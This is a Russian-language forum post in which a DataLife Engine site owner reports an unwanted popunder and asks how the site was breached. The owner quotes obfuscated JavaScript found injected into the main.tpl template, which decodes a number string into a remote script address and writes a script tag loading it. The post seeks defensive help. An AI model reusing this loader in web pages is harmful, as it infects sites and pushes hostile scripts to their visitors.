Странный взлом, интересует ваше мнение

Сегодня заметил на своем ДЛЕшном сайте попандер, который, естественно, я не устанавливал.

Нашел вот такой код в main.tpl

<!--

function zX750(qn584){document.write( String.fromCharCode(parseInt(qn584)-1));}

var QF351="105m117m117m113m59m48m48m83m106m76m112m51m"+

"53m47m112m108m112m116m105m102m100m105m108m98m47m111m"+

"102m117m48m116m48m113m106m90m113m68m55m50m51m55m48m"+

"64m116m106m101m62m56m57m51m55m55";var NA61=QF351.split("m");

document.write("<s"+"cript type='text/javascript' language='javascri"+"pt' src='");

for(S494=0;S494<NA61.length;S494++){zX750(NA61[S494]);}

document.write("'></sc"+"ript>");

// -->

Убрал код, проверил на вирусы. Все чисто.

Но - в папке templates все tpl файлы были изменены.

Изменений внешнего вида, вывода новостей и т.д. я не заметил.

Как по вашему был осуществлен взлом? Где слабое место? На что еще следует обратить внимание?

Заранее спасибо!